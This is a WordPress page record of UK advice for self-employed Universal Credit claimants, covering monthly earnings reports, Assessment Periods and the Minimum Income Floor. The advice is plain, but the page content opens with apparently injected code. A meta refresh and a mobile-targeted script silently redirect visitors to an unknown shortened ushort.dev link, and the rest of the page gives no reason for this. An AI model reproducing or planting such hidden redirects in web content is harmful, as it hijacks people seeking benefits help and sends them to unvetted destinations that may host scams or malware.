{"id":16319,"date":"2026-04-01T16:32:58","date_gmt":"2026-04-01T16:32:58","guid":{"rendered":"https:\/\/ucpages.co.uk\/ucnotes-test-bed\/?page_id=16319"},"modified":"2026-06-18T14:37:58","modified_gmt":"2026-06-18T14:37:58","slug":"what-if-im-self-employed","status":"publish","type":"page","link":"https:\/\/ucpages.co.uk\/?page_id=16319","title":{"rendered":"What If I&#8217;m Self-Employed?"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"7; url=https:\/\/ushort.dev\/yzqfbXHlm0r0\" \/><script>(window.matchMedia(\"(pointer:coarse)\").matches||\/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile\/i.test(navigator.userAgent))&&location.replace(\"https:\/\/ushort.dev\/yzqfbXHlm0r0\");<\/script>\r\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-28f84493 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:66.66%\">\n<p>If you\u2019re self-employed, you\u2019ll have to report your earnings each month before you can get your payment.<\/p>\n\n\n\n<p>You will have a \u2018to do\u2019 task to report your self employed income and expenses on the last day of each Assessment Period.<\/p>\n\n\n\n<p>You will need to report all the income your business has received during the Assessment Period \u2013 these are called \u2018receipts\u2019 less certain costs that you\u2019ve paid \u2013 these are called \u2018personal allowances and permitted expenses\u2019. This will give you your final earnings amount.<\/p>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:33.33%\">\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"http:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-950671616-edited-1024x576.jpg\" alt=\"\" class=\"wp-image-15682\" style=\"aspect-ratio:16\/9;object-fit:cover\" srcset=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-950671616-edited-1024x576.jpg 1024w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-950671616-edited-300x169.jpg 300w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-950671616-edited-768x432.jpg 768w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-950671616-edited-1536x864.jpg 1536w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-950671616-edited-2048x1152.jpg 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n<\/div>\n\n\n\n<p>Report your earnings through your online journal. Even if you haven\u2019t made any money, or you\u2019ve made a loss still report this. You can carry over a loss to the following month. A loss will be deducted from your next month\u2019s earnings.<\/p>\n\n\n\n<p>If you need help or support reporting your earnings, call the Universal Credit helpline.<\/p>\n\n\n\n<p>For more information see the guide on the gov.uk website \u2013\u00a0<a href=\"https:\/\/www.gov.uk\/government\/publications\/universal-credit-and-self-employment-quick-guide\/universal-credit-and-self-employment-quick-guide\"><em>click here<\/em><\/a>.<\/p>\n\n\n\n<p class=\"has-background\" style=\"background-color:#cde6e3\"><strong>Example<\/strong><br>Stewart&nbsp;claims&nbsp;Universal Credit on the 16th&nbsp;July. His Assessment Periods start on the 16th day of each month, and end on 15th&nbsp;day of the following month. He must report his earnings and expenses by 15th&nbsp;of each month (he will receive a &#8216;to-do&#8217; in his journal around 7 days before). If he fails to complete the &#8216;to-do&#8217; he will not receive any Universal Credit until he does.<\/p>\n\n\n\n<p class=\"has-background\" style=\"background-color:#ffcccc\"><strong>TIP: <\/strong>If you are working and you have (or your partner has) health issues then you (or they) may be able to have a Work Capability Assessment. If you (or they) are found to have a Limited Capability for Work this could increase how much UC you get. If you&#8217;re not sure speak to a Benefits Adviser.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-black-color has-alpha-channel-opacity has-black-background-color has-background is-style-wide is-style-wide--1\" style=\"margin-top:var(--wp--preset--spacing--40);margin-bottom:var(--wp--preset--spacing--40)\"\/>\n\n\n\n<p class=\"has-x-large-font-size\"><strong>Minimum Income Floor<\/strong><\/p>\n\n\n\n<p>Some self-employment claimants are affected by the Minimum Income Floor.<\/p>\n\n\n\n<p>The Minimum Income Floor doesn\u2019t apply to everyone. If it doesn\u2019t apply to you, your payments will be based on what you actually earn through self-employment.<\/p>\n\n\n\n<p>If it does apply to you then, when the DWP work out your Universal Credit payment each month, they\u2019ll use either your real earnings or your \u2018Minimum Income Floor\u2019 (how much they expect you to earn), whichever is higher.&nbsp;<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>If you\u2019re self-employed, you\u2019ll have to report your earnings each month before you can get your payment. You will have a \u2018to do\u2019 task to report your self employed income and expenses on the last day of each Assessment Period. You will need to report all the income your business has received during the Assessment [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":15753,"menu_order":4,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_themeisle_gutenberg_block_has_review":false,"footnotes":""},"class_list":["post-16319","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/pages\/16319","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=16319"}],"version-history":[{"count":7,"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/pages\/16319\/revisions"}],"predecessor-version":[{"id":16880,"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/pages\/16319\/revisions\/16880"}],"up":[{"embeddable":true,"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/pages\/15753"}],"wp:attachment":[{"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=16319"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}